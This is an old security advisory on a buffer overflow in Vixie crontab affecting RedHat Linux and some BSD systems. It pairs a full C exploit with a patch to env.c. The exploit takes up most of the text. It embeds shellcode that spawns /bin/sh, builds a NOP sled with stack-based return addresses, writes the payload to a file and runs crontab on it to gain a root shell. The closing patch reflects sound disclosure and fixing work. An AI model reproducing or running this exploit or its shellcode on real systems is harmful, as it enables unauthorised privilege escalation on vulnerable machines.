COMMAND
crontab
SYSTEMS AFFECTED
RedHat Linux, BSD/OS 2.1 and FreeBSD 2.2-ALPHA are also vulnerable
PROBLEM
/* vixie crontab buffer overflow for RedHat Linux
*
* I dont think too many people know that redhat uses vixie crontab.
* I didn't find this, just exploited it.
*
*
* Dave G.
* <daveg@escape.com>
* http://www.escape.com/~daveg
*
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#define DEFAULT_OFFSET -1240
#define BUFFER_SIZE 100 /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE "./Window"
long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main(int argc, char **argv)
{
int fd;
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
/*
* The sscanf line reads for 'name' as %[^ =]. Neither a space, nor
* a '=' character appears below
*/
int i;
int ofs = DEFAULT_OFFSET;
/* if we have a argument, use it as offset, else use default */
if(argc == 2)
ofs = atoi(argv[1]);
else if (argc > 2) {
fprintf(stderr, "egg [offset]\n");
exit(-1);
}
/* print the offset in use */
printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i<strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i<(878/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr++ = '=';
*ptr++ = 'X';
*ptr++ = '\n';
*ptr = 0;
printf("Writing to %s\n", HAPPY_FILE);
fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
write (fd, buff, strlen(buff));
close(fd);
execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
/* Successful completion */
exit(0);
}
FreeBSD and BSD/OS has different code!
SOLUTION
David Sacerdote <davids@secnet.com> wrote: Here is a patch I
wrote for the Vixie Cron 2.1 scanf overflow, and sent to Paul
Vixie in September. It works because the buffer sscanf is
reading can be no longer than MAX_ENVSTR characters because the
crontab file is read using a modified fgets. The paranoid can
replace %s with %1000s in the scanf format string as well.
*** env.c Sun Dec 15 15:35:04 1996
--- env.c Sun Dec 15 15:34:54 1996
***************
*** 137,143 ****
{
long filepos;
int fileline;
! char name[MAX_TMPSTR], val[MAX_ENVSTR];
int fields;
filepos = ftell(f);
--- 137,143 ----
{
long filepos;
int fileline;
! char name[MAX_ENVSTR], val[MAX_ENVSTR];
int fields;
filepos = ftell(f);